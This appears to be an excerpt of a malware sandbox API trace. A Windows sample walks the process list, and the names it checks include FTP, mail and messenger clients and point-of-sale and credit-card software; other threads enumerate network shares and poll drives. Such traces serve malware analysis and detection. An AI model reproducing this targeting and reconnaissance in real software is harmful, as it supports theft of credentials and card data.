	[0090.661] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0090.662] lstrlenW (lpString="far.exe") returned 7
	[0090.662] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0090.663] lstrlenW (lpString="filezilla.exe") returned 13
	[0090.663] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0090.664] lstrlenW (lpString="flashfxp.exe") returned 12
	[0090.664] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0090.665] lstrlenW (lpString="fling.exe") returned 9
	[0090.665] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0090.666] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0090.666] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0090.667] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0090.667] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0090.670] lstrlenW (lpString="icq.exe") returned 7
	[0090.670] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0090.671] lstrlenW (lpString="leechftp.exe") returned 12
	[0090.671] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0090.672] lstrlenW (lpString="ncftp.exe") returned 9
	[0090.672] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0090.673] lstrlenW (lpString="notepad.exe") returned 11
	[0090.673] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0090.673] lstrlenW (lpString="operamail.exe") returned 13
	[0090.674] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0090.674] lstrlenW (lpString="pidgin.exe") returned 10
	[0090.674] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0090.675] lstrlenW (lpString="scriptftp.exe") returned 13
	[0090.675] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0090.676] lstrlenW (lpString="skype.exe") returned 9
	[0090.676] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0090.677] lstrlenW (lpString="smartftp.exe") returned 12
	[0090.677] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0090.678] lstrlenW (lpString="thunderbird.exe") returned 15
	[0090.678] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0090.679] lstrlenW (lpString="totalcmd.exe") returned 12
	[0090.679] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0090.679] lstrlenW (lpString="trillian.exe") returned 12
	[0090.680] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0090.680] lstrlenW (lpString="webdrive.exe") returned 12
	[0090.680] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0090.681] lstrlenW (lpString="whatsapp.exe") returned 12
	[0090.681] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0090.682] lstrlenW (lpString="winscp.exe") returned 10
	[0090.682] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0090.683] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0090.683] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0090.684] lstrlenW (lpString="active-charge.exe") returned 17
	[0090.684] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0090.685] lstrlenW (lpString="accupos.exe") returned 11
	[0090.685] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0090.685] lstrlenW (lpString="afr38.exe") returned 9
	[0090.685] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0090.686] lstrlenW (lpString="aldelo.exe") returned 10
	[0090.686] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0090.687] lstrlenW (lpString="ccv_server.exe") returned 14
	[0090.687] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0090.688] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0090.688] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0090.689] lstrlenW (lpString="creditservice.exe") returned 17
	[0090.689] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0090.689] lstrlenW (lpString="edcsvr.exe") returned 10
	[0090.689] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0090.690] lstrlenW (lpString="fpos.exe") returned 8
	[0090.690] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0090.691] lstrlenW (lpString="isspos.exe") returned 10
	[0090.691] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0090.692] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0090.692] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0090.692] lstrlenW (lpString="omnipos.exe") returned 11
	[0090.692] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0090.693] lstrlenW (lpString="spcwin.exe") returned 10
	[0090.693] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0090.694] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0090.694] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0090.694] lstrlenW (lpString="utg2.exe") returned 8
	[0090.694] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit.exe")) returned 1
	[0090.695] lstrlenW (lpString="explicit.exe") returned 12
	[0090.695] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0090.696] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0090.696] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0090.697] lstrlenW (lpString="taskhostw.exe") returned 13
	[0090.697] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0090.697] lstrlenW (lpString="UsoClient.exe") returned 13
	[0090.697] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0090.698] lstrlenW (lpString="taskhostw.exe") returned 13
	[0090.698] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0090.699] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0090.699] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0090.958] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0090.958] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1194, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0090.959] lstrlenW (lpString="conhost.exe") returned 11
	[0090.959] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1178, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0090.959] lstrlenW (lpString="conhost.exe") returned 11
	[0090.959] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.960] lstrlenW (lpString="svchost.exe") returned 11
	[0090.960] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0090.961] lstrlenW (lpString="fvppjh.exe") returned 10
	[0090.961] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.961] lstrlenW (lpString="svchost.exe") returned 11
	[0090.961] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0090.962] lstrlenW (lpString="cmd.exe") returned 7
	[0090.962] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0090.962] lstrlenW (lpString="conhost.exe") returned 11
	[0090.963] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0090.963] lstrlenW (lpString="dllhost.exe") returned 11
	[0090.963] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1
	[0090.964] lstrlenW (lpString="TrustedInstaller.exe") returned 20
	[0090.964] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0090.964] lstrlenW (lpString="mode.com") returned 8
	[0090.965] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1
	[0090.965] lstrlenW (lpString="LogonUI.exe") returned 11
	[0090.965] Process32NextW (in: hSnapshot=0x358, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0
	[0090.966] CloseHandle (hObject=0x358) returned 1
	[0090.966] Sleep (dwMilliseconds=0x1f4) 

Thread:
	id = 5
	os_tid = 0x1160

	[0058.339] WaitForSingleObject (hHandle=0x19fddc, dwMilliseconds=0xffffffff) returned 0xffffffff
	[0058.339] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7652b8 | out: hHeap=0x720000) returned 1

Thread:
	id = 6
	os_tid = 0x1174

	[0058.340] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x7ac958
	[0058.340] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7ac958, Size=0x20) returned 0x75eb88
	[0058.340] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x75eb88, Size=0x40) returned 0x73a348
	[0058.340] GetLogicalDrives () returned 0x4
	[0058.340] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x79af78
	[0058.341] GetComputerNameW (in: lpBuffer=0x79af7c, nSize=0x275ff64 | out: lpBuffer="NQDPDE", nSize=0x275ff64) returned 1
	[0058.341] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1000) returned 0x77daf0
	[0058.341] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x275ff34 | out: lphEnum=0x275ff34*=0x7357d0) returned 0x0
	[0058.341] WNetEnumResourceW (in: hEnum=0x7357d0, lpcCount=0x275ff30, lpBuffer=0x77daf0, lpBufferSize=0x275ff38 | out: lpcCount=0x275ff30, lpBuffer=0x77daf0, lpBufferSize=0x275ff38) returned 0x103
	[0058.343] WNetCloseEnum (hEnum=0x7357d0) returned 0x0
	[0058.343] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x275ff34 | out: lphEnum=0x275ff34*=0x811e08) returned 0x0
	[0062.111] WNetEnumResourceW (in: hEnum=0x811e08, lpcCount=0x275ff30, lpBuffer=0x77daf0, lpBufferSize=0x275ff38 | out: lpcCount=0x275ff30, lpBuffer=0x77daf0, lpBufferSize=0x275ff38) returned 0x0
	[0062.111] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1000) returned 0x3217280
	[0062.111] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x77daf0, lphEnum=0x275ff08 | out: lphEnum=0x275ff08*=0x7355f0) returned 0x0
	[0062.115] WNetEnumResourceW (in: hEnum=0x7355f0, lpcCount=0x275ff04, lpBuffer=0x3217280, lpBufferSize=0x275ff0c | out: lpcCount=0x275ff04, lpBuffer=0x3217280, lpBufferSize=0x275ff0c) returned 0x103
	[0062.115] WNetCloseEnum (hEnum=0x7355f0) returned 0x0
	[0062.115] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1000) returned 0x321a298
	[0062.115] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x77db10, lphEnum=0x275ff08 | out: lphEnum=0x275ff08*=0x0) returned 0x4b8
	[0083.016] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1000) returned 0x3ef73e0
	[0083.016] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x77db30, lphEnum=0x275ff08 | out: lphEnum=0x275ff08*=0x0) returned 0x4c6
	[0083.020] WNetEnumResourceW (in: hEnum=0x811e08, lpcCount=0x275ff30, lpBuffer=0x77daf0, lpBufferSize=0x275ff38 | out: lpcCount=0x275ff30, lpBuffer=0x77daf0, lpBufferSize=0x275ff38) returned 0x103
	[0083.020] WNetCloseEnum (hEnum=0x811e08) returned 0x0
	[0083.020] GetLogicalDrives () returned 0x4
	[0083.020] Sleep (dwMilliseconds=0x64) 
	[0083.343] GetLogicalDrives () returned 0x4
	[0083.343] Sleep (dwMilliseconds=0x64) 
	[0083.745] GetLogicalDrives () returned 0x4
	[0083.745] Sleep (dwMilliseconds=0x64) 
	[0084.116] GetLogicalDrives () returned 0x4
	[0084.116] Sleep (dwMilliseconds=0x64) 
	[0084.349] GetLogicalDrives () returned 0x4
	[0084.349] Sleep (dwMilliseconds=0x64) 
	[0084.557] GetLogicalDrives () returned 0x4
	[0084.557] Sleep (dwMilliseconds=0x64) 
	[0085.008] GetLogicalDrives () returned 0x4
	[0085.008] Sleep (dwMilliseconds=0x64) 
	[0085.655] GetLogicalDrives () returned 0x4
	[0085.655] Sleep (dwMilliseconds=0x64) 
	[0086.243] GetLogicalDrives () returned 0x4
	[0086.243] Sleep (dwMilliseconds=0x64) 
	[0086.689] GetLogicalDrives () returned 0x4
	[0086.689] Sleep (dwMilliseconds=0x64) 
	[0087.444] GetLogicalDrives () returned 0x4
	[0087.444] Sleep (dwMilliseconds=0x64) 
	[0087.971] GetLogicalDrives () returned 0x4
	[0087.971] Sleep (dwMilliseconds=0x64) 
	[0088.310] GetLogicalDrives () returned 0x4
	[0088.310] Sleep (dwMilliseconds=0x64) 
	[0088.699] GetLogicalDrives () returned 0x4
	[0088.699] Sleep (dwMilliseconds=0x64) 
	[0089.078] GetLogicalDrives () returned 0x4
	[0089.078] Sleep (dwMilliseconds=0x64) 
	[0089.627] GetLogicalDrives () returned 0x4
	[0089.628] Sleep (dwMilliseconds=0x64) 
	[0090.137] GetLogicalDrives () returned 0x4
	[0090.137] Sleep (dwMilliseconds=0x64) 
	[0090.778] GetLogicalDrives () returned 0x4
	[0090.778] Sleep (dwMilliseconds=0x64) 
	[0091.013] GetLogicalDrives () returned 0x4
	[0091.013] Sleep (dwMilliseconds=0x64) 
	[0091.456] GetLogicalDrives () returned 0x4
	[0091.456] Sleep (dwMilliseconds=0x64) 

Thread:
	id = 7
	os_tid = 0x114c

	[0058.345] GetTickCount () returned 0x115024e
	[0058.345] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x24) returned 0x736258
	[0058.345] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x736258, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288
